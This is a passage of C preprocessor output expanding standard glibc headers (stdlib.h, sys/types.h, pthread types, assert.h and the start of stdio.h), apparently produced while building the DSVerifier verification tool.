extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
